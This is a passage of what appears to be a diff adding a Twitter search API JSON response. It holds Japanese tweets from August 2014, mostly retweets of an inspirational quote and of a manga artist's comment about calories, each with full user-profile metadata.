"time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:07 +0000 2014", + "id": 505874893154426900, + "id_str": "505874893154426881", + "text": "RT @Takashi_Shiina: テレビで「成人男性のカロリー摂取量は1900kcal」とか言ってて、それはいままさに私がダイエットのために必死でキープしようとしている量で、「それが普通なら人はいつ天一やココイチに行って大盛りを食えばいいんだ!」と思った。", + "source": "twicca", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 353516742, + "id_str": "353516742", + "name": "おしんこー@土曜西え41a", + "screen_name": "oshin_koko", + "location": "こたつ", + "description": "ROMって楽しんでいる部分もあり無言フォロー多めですすみません…。ツイート数多め・あらぶり多めなのでフォロー非推奨です。最近は早兵・兵部受け中心ですがBLNLなんでも好きです。地雷少ないため雑多に呟きます。腐・R18・ネタバレ有るのでご注意。他好きなジャンルはプロフ参照願います。 主催→@chounou_antholo", + "url": "http://t.co/mM1dG54NiO", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/mM1dG54NiO", + "expanded_url": "http://twpf.jp/oshin_koko", + "display_url": "twpf.jp/oshin_koko", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 479, + "friends_count": 510, + "listed_count": 43, + "created_at": "Fri Aug 12 05:53:13 +0000 2011", + "favourites_count": 3059, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": false, + "verified": false, + "statuses_count": 104086, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "000000", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/799871497/01583a031f83a45eba881c8acde729ee.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/799871497/01583a031f83a45eba881c8acde729ee.jpeg", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/484347196523835393/iHaYxm-2_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/484347196523835393/iHaYxm-2_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/353516742/1369039651", + "profile_link_color": "FF96B0", + "profile_sidebar_border_color": "FFFFFF", + "profile_sidebar_fill_color": "95E8EC", + "profile_text_color": "3C3940", + "profile_use_background_image": false, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sat Aug 30 09:58:30 +0000 2014", + "id": 505655792733650940, + "id_str": "505655792733650944", + "text": "テレビで「成人男性のカロリー摂取量は1900kcal」とか言ってて、それはいままさに私がダイエットのために必死でキープしようとしている量で、「それが普通なら人はいつ天一やココイチに行って大盛りを食えばいいんだ!」と思った。", + "source": "Janetter", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 126573583, + "id_str": "126573583", + "name": "椎名高志", + "screen_name": "Takashi_Shiina", + "location": "BABEL(超能力支援研究局)", + "description": "漫画家。週刊少年サンデーで『絶対可憐チルドレン』連載中。TVアニメ『THE UNLIMITED 兵部京介』公式サイト>http://t.co/jVqBoBEc", + "url": "http://t.co/K3Oi83wM3w", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/K3Oi83wM3w", + "expanded_url": "http://cnanews.asablo.jp/blog/", + "display_url": "cnanews.asablo.jp/blog/", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [ + { + "url": "http://t.co/jVqBoBEc", + "expanded_url": "http://unlimited-zc.jp/index.html", + "display_url": "unlimited-zc.jp/index.html", + "indices": [ + 59, + 79 + ] + } + ] + } + }, + "protected": false, + "followers_count": 110756, + "friends_count": 61, + "listed_count": 8159, + "created_at": "Fri Mar 26 08:54:51 +0000 2010", + "favourites_count": 25, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": false, + "verified": false, + "statuses_count": 27364, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "EDECE9", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme3/bg.gif", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme3/bg.gif", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/504597210772688896/Uvt4jgf5_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/504597210772688896/Uvt4jgf5_normal.png", + "profile_link_color": "088253", + "profile_sidebar_border_color": "D3D2CF", + "profile_sidebar_fill_color": "E3E2DE", + "profile_text_color": "634047", + "profile_use_background_image": false, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 221, + "favorite_count": 109, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 221, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "Takashi_Shiina", + "name": "椎名高志", + "id": 126573583, + "id_str": "126573583", + "indices": [ + 3, + 18 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:07 +0000 2014", + "id": 505874892567244800, + "id_str": "505874892567244801", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "下ネタ&笑変態雑学", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2762581922, + "id_str": "2762581922", + "name": "下ネタ&笑変態雑学", + "screen_name": "shimo_hentai", + "location": "", + "description": "普通の人には思いつかない、ちょっと変態チックな 笑える下ネタ雑学をお届けします。 \r\nおもしろかったら RT & フォローお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 37, + "friends_count": 990, + "listed_count": 0, + "created_at": "Sun Aug 24 14:13:20 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 212, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503545991950114816/K9yQbh1Q_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503545991950114816/K9yQbh1Q_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2762581922/1408889893", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:07 +0000 2014", + "id": 505874891778703360, + "id_str": "505874891778703360", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "超簡単★初心者英語", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2744544025, + "id_str": "2744544025", + "name": "超簡単★初心者英語", + "screen_name": "kantaneigo1", + "location": "", + "description": "すぐに使えるフレーズや簡単な会話を紹介します。 \r\n少しづつ練習して、どんどん使ってみよう☆ \r\n使ってみたいと思ったら RT & フォローお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 147, + "friends_count": 970, + "listed_count": 1, + "created_at": "Tue Aug 19 10:11:48 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 345, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501676136321929216/4MLpyHe3_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501676136321929216/4MLpyHe3_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2744544025/1408443928", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:07 +0000 2014", + "id": 505874891032121340, + "id_str": "505874891032121344", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "現代のハンドサイン", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2762816814, + "id_str": "2762816814", + "name": "現代のハンドサイン", + "screen_name": "ima_handsign", + "location": "", + "description": "イザという時や、困った時に、必ず役に立つハンドサインのオンパレードです♪ \r\n使ってみたくなったら RT & フォローお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 95, + "friends_count": 996, + "listed_count": 0, + "created_at": "Sun Aug 24 15:33:58 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 210, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503566188253687809/7wtdp1AC_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503566188253687809/7wtdp1AC_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2762816814/1408894540", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:07 +0000 2014", + "id": 505874890247782400, + "id_str": "505874890247782401", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "今日からアナタもイイ女♪", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2714167411, + "id_str": "2714167411", + "name": "今日からアナタもイイ女♪", + "screen_name": "anata_iionna", + "location": "", + "description": "みんなが知りたい イイ女の秘密を見つけます♪ いいな~と思ってくれた人は RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 390, + "friends_count": 1425, + "listed_count": 0, + "created_at": "Thu Aug 07 09:27:59 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 609, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/497314455655436288/dz7P3-fy_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/497314455655436288/dz7P3-fy_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2714167411/1407404214", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:07 +0000 2014", + "id": 505874890218434560, + "id_str": "505874890218434560", + "text": "@kohecyan3 \n名前:上野滉平\n呼び方:うえの\n呼ばれ方:ずるかわ\n第一印象:過剰な俺イケメンですアピール\n今の印象:バーバリーの時計\n好きなところ:あの自信さ、笑いが絶えない\n一言:大学受かったの?応援してる〜(*^^*)!\n\n#RTした人にやる\nちょっとやってみる笑", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": 2591363659, + "in_reply_to_user_id_str": "2591363659", + "in_reply_to_screen_name": "kohecyan3", + "user": { + "id": 2613282517, + "id_str": "2613282517", + "name": "K", + "screen_name": "kawazurukenna", + "location": "", + "description": "# I surprise even my self", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 113, + "friends_count": 185, + "listed_count": 0, + "created_at": "Wed Jul 09 09:39:13 +0000 2014", + "favourites_count": 157, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 242, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/502436858135973888/PcUU0lov_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/502436858135973888/PcUU0lov_normal.jpeg", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [ + { + "text": "RTした人にやる", + "indices": [ + 119, + 128 + ] + } + ], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "kohecyan3", + "name": "上野滉平", + "id": 2591363659, + "id_str": "2591363659", + "indices": [ + 0, + 10 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:07 +0000 2014", + "id": 505874889392156700, + "id_str": "505874889392156672", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "IQ★力だめし", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2709308887, + "id_str": "2709308887", + "name": "IQ★力だめし", + "screen_name": "iq_tameshi", + "location": "", + "description": "解けると楽しい気分になれる問題を見つけて紹介します♪面白かったら RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 443, + "friends_count": 1851, + "listed_count": 1, + "created_at": "Tue Aug 05 13:14:30 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + 